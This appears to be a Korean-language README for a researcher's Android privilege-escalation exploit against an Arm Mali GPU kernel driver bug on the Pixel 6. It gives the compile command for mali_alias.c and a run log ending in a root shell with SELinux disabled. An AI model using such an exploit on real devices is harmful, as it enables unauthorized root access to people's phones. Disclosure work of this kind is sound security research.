
라이트업은 여기에서 확인할 수 있습니다. 이는 2022년 1월에 제가 보고한 Arm Mali 커널 드라이버의 버그입니다. 이 버그를 이용하면 신뢰할 수 없는 앱 도메인에서 임의의 커널 코드 실행 권한을 얻을 수 있으며, 이를 통해 SELinux를 비활성화하고 루트 권한을 획득할 수 있습니다.
익스플로잇은 Google Pixel 6에서 테스트되었으며 2021년 11월부터 2022년 2월까지의 패치 레벨을 지원합니다. 몇 가지 이미지 오프셋만 변경하면 다른 펌웨어에 대한 지원을 쉽게 추가할 수 있습니다. 참고로, ndk-21에서 clang으로 컴파일하기 위해 다음 명령을 사용했습니다:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
익스플로잇은 거의 실패하지 않으며 기기를 충돌시키지 않고 재시도할 수 있습니다. 성공하면 SELinux를 비활성화하고 루트 권한을 획득합니다.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #